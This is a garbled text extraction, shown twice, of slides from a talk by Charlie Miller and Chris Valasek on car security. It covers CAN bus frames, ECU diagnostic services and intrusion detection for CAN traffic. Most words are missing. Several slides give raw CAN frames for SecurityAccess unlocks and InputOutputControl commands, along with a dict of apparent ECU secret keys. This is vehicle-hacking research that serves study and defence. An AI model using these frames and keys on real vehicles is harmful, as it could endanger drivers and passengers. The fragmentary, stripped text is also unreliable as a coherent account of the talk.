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Dr.	
  Charlie	
  Miller	
  (@0xcharlie)	
  
Chris	
  Valasek	
  (@nudehaberdasher)	
  
 
 
•  Charlie	
  Miller	
  	
  
[Security	
  Engineer]	
  	
  
|Twi,er|	
  
•  Chris	
  Valasek	
  	
  
[Director	
  of	
  Security	
  Intelligence]	
  |
IOAc4ve|	
  	
  
  	
  
•  	
  
•  CAN 	
  
•  CAN 	
  
•  	
  
 
1:	
   	
  
•  	
  
	
  
	
  
Bluetooth	
  
	
  
	
  
1:	
   ( )	
  
•  	
  
2:	
  CAN
	
  
ECU	
   ABS	
  ECU	
   ECU	
  
ECU…	
  
 
• 
	
  
–  :	
  Bluetooth
	
  
• 
	
  
•  	
  
	
  
–  OEM
	
  
 (ECU)	
  
 
• 
	
  
• 
	
  
•  	
  
•  ECU
	
  
–  Linux Windows
ECU 	
  
ECU 	
  
PCM 	
  
PCM	
  ECU	
  
CAN 	
  
CAN 	
  
•  CAN	
  ID 11 29 	
  
•  0 	
  8 	
  
•  CAN	
  ID 	
  
– CAN	
  ID	
  00 	
  CAN	
  ID	
  01 	
  
•  	
  
• 
	
  
CAN 	
  
•  	
  
–  ID: 03, ID: B1, : 08, : 80 00 00 00 00
00 00 00
•  	
  
–  ID: 00, ID: B6, : 04, : 33 A8 00 95
•  ID 	
  
–  95
	
  
*	
  
API 	
  
 
•  ABS	
  ECU 	
  
–  ID:07, ID: 60, : 08, : 03 14 FF 00 00 00 00 00
ID:07, ID: 68, : 08, : 03 7F 14 78 00 00 00 00
ID:07, ID: 68, : 08, : 03 54 FF 00 00 00 00 00
•  ECU ID 	
  
–  ABS ID 0760	
  
•  ID 8 ID 	
  
• 
	
  
 
 
•  ISO	
  15765-­‐2	
  (ISO-­‐TP)	
  
– CAN 	
  
•  ISO	
  14229/14230	
  
– ECU 	
  
–  	
  
–  	
  
:	
  SecurityAccess	
  
•  SecurityAccess 	
  
(ECU )	
  
–  IDH: 07, IDL: 26, Len: 08, Data: 02 27 01 00 00 00 00 00
IDH: 07, IDL: 2E, Len: 08, Data: 05 67 01 54 61 B6 00 00
IDH: 07, IDL: 26, Len: 08, Data: 05 27 02 D0 B6 F1 00 00
IDH: 07, IDL: 2E, Len: 08, Data: 02 67 02 00 00 00 00 00
•  0726	
  (SJB) 	
  
–  27	
  01	
  =>	
   	
  
•  ECU OK 	
  
•  	
  
•  ECU OK 	
  
–  67	
  02	
  =>	
   02 	
  
:	
  InputOuputControl	
  
•  ECU
	
  (i.e.	
  do	
  stuff)	
  
–  IDH: 07, IDL: E0, Len: 08, Data: 06 2F 03 07 03 00 00 00
IDH: 07, IDL: E8, Len: 08, Data: 06 6F 03 07 03 36 90 00
•  07E0	
   inputOutputControl 	
  
– 2F	
  =>	
  ISO-­‐14229 inputOutputControl
	
  
– 03	
  07	
  =>	
   	
  
– 03	
  00	
  00	
  =>	
   	
  
 
•  ECUReset	
  
•  ReadMemoryByAddress	
  
•  RoueneControl	
  	
  
•  RequestDownload	
  
•  RequestUpload	
  
•  TransferData	
  
•  TesterPresent	
  
•  WriteMemoryByAddress	
  
 
•  CAN
	
  
•  CAN
	
  
• 
	
  
• 
	
  
 
 
•  CAN 	
  
–  	
  
•  	
  vs.	
   	
  
– ECU 	
  
•  	
  
– 
	
  
:	
   	
  
•  	
  
•  CAN	
  ID:	
  0201	
  
•  :	
  08	
  
•  :	
  AA	
  BB	
  00	
  00	
  CC	
  DD	
  00	
  00	
  
•  	
  =>	
  0.0065	
  *	
  (CC	
  DD)	
  –	
  67	
  
•  RPM	
  =>	
  0.25	
  *	
  (AA	
  BB)	
  –	
  24	
  
•  	
  (20.1mph	
  |	
  2233	
  rpm):	
  	
  
ID:02, ID:01, :08, : 23 45 00 00 34 56 00 00
:	
   	
  II	
  
*	
   	
  
:	
   	
  II	
  	
  
:	
   	
  II	
  
:	
   	
  II	
  
CAN 	
  
SecurityAccess	
  
•  ECU SecurityAccess
	
  
•  ECU
	
  
•  ECU
	
  
SecurityAccess:	
   	
  
•  PAM 	
  
•  IDH: 07, IDL: 36, Len: 08, Data: 02 27 01 00 00 00 00 00
•  IDH: 07, IDL: 3E, Len: 08, Data: 05 67 01 11 22 33 00 00
•  IDH: 07, IDL: 36, Len: 08, Data: 05 27 02 CB BF 91 00 00
•  IDH: 07, IDL: 3E, Len: 08, Data: 02 67 02 00 00 00 00 00
•  ECU 	
  
 
	
  
 
secret_keys = {
0x727: "50 C8 6A 49 F1",
0x733: "AA BB CC DD EE",
0x736: "08 30 61 55 AA",
0x737: "52 6F 77 61 6E",
0x760: "5B 41 74 65 7D",
0x765: "96 A2 3B 83 9B",
0x7a6: "50 C8 6A 49 F1",
0x7e0: "08 30 61 A4 C5",}
secret_keys2 = {
0x7e0: "44 49 4F 44 45",
0x737: "5A 89 E4 41 72”}
 
•  securityAccess	
   DeviceControl
ECU 	
  
:	
   	
  
:	
   	
  
:	
   	
  
:	
   	
  
:	
   	
  
/ :	
   	
  
:	
   	
  
:	
   	
  
 
 
BDM Freescale	
  USB	
  S08/HCS12	
  
BDM	
   / 	
  
 
Motorola	
  HCS12X	
  
 
 
 
•  	
  
•  	
  
•  CAN ECU
	
  
•  / 	
  
 
	
  
	
  	
  -­‐	
  John	
  Hanson	
  |	
  Toyota	
  Motor	
  Sales	
  U.S.A	
  
 
•  	
  
–  	
  
–  PC
	
  
–  PC
	
  
–  	
  
–  ECU
	
  
– 
	
  
/ 	
  
•  	
  
– 
	
  
–  :	
  
	
  
–  	
  
•  ECU 	
  
– ECU
	
  
–  	
  
 
•  悪意ある攻撃から車両を保護するのに業界が成功している
理由の1つは、各メーカーがセキュリティ上重要な情報の保
護に成功しているからである CEO 	
  
Mitch	
  Bainwol Mike	
  Stanton
	
  
• 
	
  
 
•  ECU CAN 	
  
–  	
  
•  :	
  
	
  
• 
	
  
–  	
  
–  	
  
–  CAN
	
  
 
• 
	
  
• 
	
  
•  IDS/
IPS	
  
 
• 
	
  
•  CAN
	
  
• 
	
  
•  	
  
CAN 	
  
•  15 CAN 	
  
•  1 CAN	
  ID
	
  
•  1 CAN	
  ID
	
  
•  CAN	
  ID
	
  
CAN 	
  
•  ID 	
  
• 
	
  
Hit	
  Counts:	
  Primary[03A9]	
  =>	
  9	
  	
  	
  	
  	
  |	
  Secondary[03A9]	
  =>	
  5	
  
Hit	
  Counts:	
  Primary[0255]	
  =>	
  166	
  |	
  Secondary[0255]	
  =>	
  119	
  
Hit	
  Counts:	
  Primary[0230]	
  =>	
  991	
  |	
  Secondary[0230]	
  =>	
  1011	
  
Hit	
  Counts:	
  Primary[0250]	
  =>	
  168	
  |	
  Secondary[0250]	
  =>	
  209	
  
Hit	
  Counts:	
  Primary[03C4]	
  =>	
  41	
  	
  	
  |	
  Secondary[03C4]	
  =>	
  46	
  
Hit	
  Counts:	
  Primary[0340]	
  =>	
  80	
  	
  	
  |	
  Secondary[0340]	
  =>	
  82	
  
Hit	
  Counts:	
  Primary[0422]	
  =>	
  83	
  	
  	
  |	
  Secondary[0422]	
  =>	
  36	
  
Hit	
  Counts:	
  Primary[0423]	
  =>	
  17	
  	
  	
  |	
  Secondary[0423]	
  =>	
  6	
  
Hit	
  Counts:	
  Primary[0420]	
  =>	
  83	
  	
  	
  |	
  Secondary[0420]	
  =>	
  47	
  
Hit	
  Counts:	
  Primary[0200]	
  =>	
  496	
  |	
  Secondary[0200]	
  =>	
  630	
  
:	
   	
  
•  	
  
–  	
  
•  :	
   	
  
( )	
  
•  1 	
  ( 20 )	
  
0
10
20
30
40
50
60
70
80
90
100
Frequency distribution of 0201 CAN id
:	
   	
  
• 
	
  
–  	
  ( )	
  
•  	
  
•  “Experimental	
  Security	
  Analysis	
  of	
  a	
  Modern	
  
Automobile”
	
  
 
•  	
  
•  CAN 	
  
( CAN CAN )	
  
•  	
  
• 
	
  
 
•  CAN IPS	
  ECU 	
  
•  ECU 	
  
•  OBD-­‐II
	
  
 
 
•  	
  
•  CAN
	
  
•  CAN
	
  
•  	
  
• 
	
  
• 
	
  
 
•  Dr.	
  Charlie	
  Miller	
  (@0xcharlie)	
  
–  Twimer	
  Guy	
  
–  cmiller@openrce.org	
  
•  Chris	
  Valasek	
  (@nudehaberdasher)	
  
–  Director	
  of	
  Security	
  Intelligence	
  @	
  IOAceve	
  
–  cvalasek@gmail.com	
  

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自動車セキュリティの現状 by クリス・ヴァラセク Chris Valasek

  • 1.   Dr.  Charlie  Miller  (@0xcharlie)   Chris  Valasek  (@nudehaberdasher)  
  • 2.  
  • 3.   •  Charlie  Miller     [Security  Engineer]     |Twi,er|   •  Chris  Valasek     [Director  of  Security  Intelligence]  | IOAc4ve|    
  • 4.     •    •  CAN   •  CAN   •   
  • 5.  
  • 6. 1:     •        Bluetooth      
  • 7. 1:   ( )   •   
  • 8. 2:  CAN   ECU   ABS  ECU   ECU   ECU…  
  • 9.   •    –  :  Bluetooth   •    •      –  OEM  
  • 11.   •    •    •    •  ECU   –  Linux Windows ECU  
  • 16. CAN   •  CAN  ID 11 29   •  0  8   •  CAN  ID   – CAN  ID  00  CAN  ID  01   •    •   
  • 17. CAN   •    –  ID: 03, ID: B1, : 08, : 80 00 00 00 00 00 00 00 •    –  ID: 00, ID: B6, : 04, : 33 A8 00 95 •  ID   –  95   *   API  
  • 18.   •  ABS  ECU   –  ID:07, ID: 60, : 08, : 03 14 FF 00 00 00 00 00 ID:07, ID: 68, : 08, : 03 7F 14 78 00 00 00 00 ID:07, ID: 68, : 08, : 03 54 FF 00 00 00 00 00 •  ECU ID   –  ABS ID 0760   •  ID 8 ID   •   
  • 19.  
  • 20.   •  ISO  15765-­‐2  (ISO-­‐TP)   – CAN   •  ISO  14229/14230   – ECU   –    –   
  • 21. :  SecurityAccess   •  SecurityAccess   (ECU )   –  IDH: 07, IDL: 26, Len: 08, Data: 02 27 01 00 00 00 00 00 IDH: 07, IDL: 2E, Len: 08, Data: 05 67 01 54 61 B6 00 00 IDH: 07, IDL: 26, Len: 08, Data: 05 27 02 D0 B6 F1 00 00 IDH: 07, IDL: 2E, Len: 08, Data: 02 67 02 00 00 00 00 00 •  0726  (SJB)   –  27  01  =>     •  ECU OK   •    •  ECU OK   –  67  02  =>   02  
  • 22. :  InputOuputControl   •  ECU  (i.e.  do  stuff)   –  IDH: 07, IDL: E0, Len: 08, Data: 06 2F 03 07 03 00 00 00 IDH: 07, IDL: E8, Len: 08, Data: 06 6F 03 07 03 36 90 00 •  07E0   inputOutputControl   – 2F  =>  ISO-­‐14229 inputOutputControl   – 03  07  =>     – 03  00  00  =>    
  • 23.   •  ECUReset   •  ReadMemoryByAddress   •  RoueneControl     •  RequestDownload   •  RequestUpload   •  TransferData   •  TesterPresent   •  WriteMemoryByAddress  
  • 24.   •  CAN   •  CAN   •    •   
  • 25.  
  • 26.   •  CAN   –    •   vs.     – ECU   •    –   
  • 27. :     •    •  CAN  ID:  0201   •  :  08   •  :  AA  BB  00  00  CC  DD  00  00   •   =>  0.0065  *  (CC  DD)  –  67   •  RPM  =>  0.25  *  (AA  BB)  –  24   •   (20.1mph  |  2233  rpm):     ID:02, ID:01, :08, : 23 45 00 00 34 56 00 00
  • 28. :    II  
  • 29. *    
  • 30. :    II    
  • 31. :    II  
  • 32. :    II  
  • 34. SecurityAccess   •  ECU SecurityAccess   •  ECU   •  ECU  
  • 35. SecurityAccess:     •  PAM   •  IDH: 07, IDL: 36, Len: 08, Data: 02 27 01 00 00 00 00 00 •  IDH: 07, IDL: 3E, Len: 08, Data: 05 67 01 11 22 33 00 00 •  IDH: 07, IDL: 36, Len: 08, Data: 05 27 02 CB BF 91 00 00 •  IDH: 07, IDL: 3E, Len: 08, Data: 02 67 02 00 00 00 00 00 •  ECU  
  • 36.    
  • 37.   secret_keys = { 0x727: "50 C8 6A 49 F1", 0x733: "AA BB CC DD EE", 0x736: "08 30 61 55 AA", 0x737: "52 6F 77 61 6E", 0x760: "5B 41 74 65 7D", 0x765: "96 A2 3B 83 9B", 0x7a6: "50 C8 6A 49 F1", 0x7e0: "08 30 61 A4 C5",} secret_keys2 = { 0x7e0: "44 49 4F 44 45", 0x737: "5A 89 E4 41 72”}
  • 38.   •  securityAccess   DeviceControl ECU  
  • 39. :    
  • 40. :    
  • 41. :    
  • 42. :    
  • 43. :    
  • 44. / :    
  • 45. :    
  • 46. :    
  • 47.  
  • 48.   BDM Freescale  USB  S08/HCS12   BDM   /  
  • 50.  
  • 51.  
  • 52.   •    •    •  CAN ECU   •  /  
  • 53.        -­‐  John  Hanson  |  Toyota  Motor  Sales  U.S.A  
  • 54.   •    –    –  PC   –  PC   –    –  ECU   –   
  • 55. /   •    –    –  :     –    •  ECU   – ECU   –   
  • 57.   •  ECU CAN   –    •  :     •    –    –    –  CAN  
  • 59.   •    •  CAN   •    •   
  • 60. CAN   •  15 CAN   •  1 CAN  ID   •  1 CAN  ID   •  CAN  ID  
  • 61. CAN   •  ID   •    Hit  Counts:  Primary[03A9]  =>  9          |  Secondary[03A9]  =>  5   Hit  Counts:  Primary[0255]  =>  166  |  Secondary[0255]  =>  119   Hit  Counts:  Primary[0230]  =>  991  |  Secondary[0230]  =>  1011   Hit  Counts:  Primary[0250]  =>  168  |  Secondary[0250]  =>  209   Hit  Counts:  Primary[03C4]  =>  41      |  Secondary[03C4]  =>  46   Hit  Counts:  Primary[0340]  =>  80      |  Secondary[0340]  =>  82   Hit  Counts:  Primary[0422]  =>  83      |  Secondary[0422]  =>  36   Hit  Counts:  Primary[0423]  =>  17      |  Secondary[0423]  =>  6   Hit  Counts:  Primary[0420]  =>  83      |  Secondary[0420]  =>  47   Hit  Counts:  Primary[0200]  =>  496  |  Secondary[0200]  =>  630  
  • 62. :     •    –    •  :     ( )   •  1  ( 20 )   0 10 20 30 40 50 60 70 80 90 100 Frequency distribution of 0201 CAN id
  • 63. :     •    –   ( )   •    •  “Experimental  Security  Analysis  of  a  Modern   Automobile”  
  • 64.   •    •  CAN   ( CAN CAN )   •    •   
  • 65.   •  CAN IPS  ECU   •  ECU   •  OBD-­‐II  
  • 66.  
  • 67.   •    •  CAN   •  CAN   •    •    •   
  • 68.   •  Dr.  Charlie  Miller  (@0xcharlie)   –  Twimer  Guy   –  cmiller@openrce.org   •  Chris  Valasek  (@nudehaberdasher)   –  Director  of  Security  Intelligence  @  IOAceve   –  cvalasek@gmail.com